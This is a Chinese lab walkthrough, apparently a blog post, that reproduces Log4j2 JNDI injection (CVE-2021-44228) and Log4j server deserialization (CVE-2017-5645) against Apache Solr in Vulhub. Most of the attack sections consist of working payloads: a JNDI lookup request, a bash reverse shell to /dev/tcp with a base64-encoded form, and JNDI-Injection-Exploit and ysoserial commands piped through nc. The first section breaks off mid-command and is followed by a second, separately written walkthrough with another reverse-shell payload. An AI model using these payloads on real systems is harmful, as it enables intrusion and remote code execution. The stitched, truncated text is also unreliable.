Vulhub——Log4j、solr

一、Log4j

1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j2是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

判断是否存在漏洞

发送数据包:

GET /solr/admin/cores?action=${
   
   jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
Host: 192.168.92.6:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

在这里插入图片描述
在这里插入图片描述

获取反弹shell

bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
bash -c {
   
   echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{
   
   base64,-d}|{
   
   bash,-i} # 防止管道符失效
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
  • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
  • 10.111.X.X:本机IP;
  • 192.168.92.6:kali IP。

在这里插入图片描述

所有链接均可实现JDNI注入,获取shell。

访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

在这里插入图片描述

在这里插入图片描述

1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
docker exec -it <container-id> /bin/bash # 进入shell

在这里插入图片描述
反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjc
### 复现Log4j2漏洞的过程 #### 漏洞概述 Apache Log4j 2.x <= 2.14.1 和 Log4j 2.15.0-rc1 版本存在严重的远程代码执行漏洞,编号为CVE-2021-44228[^2]。 #### 准备工作 为了复现此漏洞,需先准备好Docker环境并安装vulhub漏洞靶场。具体操作如下: 确保已成功安装Docker容器服务[^1]。 从GitHub仓库克隆最新的vulhub项目到本地机器上: ```bash git clone https://github.com/vulhub/vulhub.git ``` 切换至对应的漏洞案例文件夹内,在这里以`log4j2/CVE-2021-44228`为例: ```bash cd vulhub/log4j2/CVE-2021-44228/ ``` 按照官方说明文档中的指引来启动所需的Docker镜像和服务实例: ```bash docker-compose up -d ``` 此时应该能够正常访问部署好的Solr应用界面 `http://<靶场IP>:8983/solr/#/`。 #### 测试与验证 构建恶意请求字符串用于检测目标系统是否受到该漏洞的影响。可以借助工具如yakit自动生成有效的DNS回调地址,或者手动创建一个可控的域名供后续实验使用[^4]。 尝试向Solr管理接口发送包含特殊构造参数的动作指令,例如查看核心配置信息时附加`${jndi:ldap://${sys:java.version}.example.com}`形式的数据片段作为查询条件的一部分: ```bash curl 'http://<靶场IP>:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}' ``` 如果一切顺利的话,则会在指定的日志记录位置观察到来自受控服务器发出的相关网络连接活动,证明确实触发了JNDI注入行为。 #### 攻击模拟 对于更深入的研究目的而言,还可以进一步设置监听程序等待来自受害主机发起反连Shell请求。这通常涉及到运行专门设计用来配合此类场景下的Java应用程序——比如welk1n开发维护的那个开源项目`JNDI-Injection-Exploit`[^3]。 在攻击者控制的工作站上面编译打包好上述提到的应用软件包之后,就可以依据实际情况调整命令行选项来进行定制化的载荷投递动作了。下面给出了一条可能用到的实际样例语句[^5]: ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNy4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" \ -A "<攻击机IP>" ``` 请注意替换其中涉及的具体数值部分以便适应不同的测试环境需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值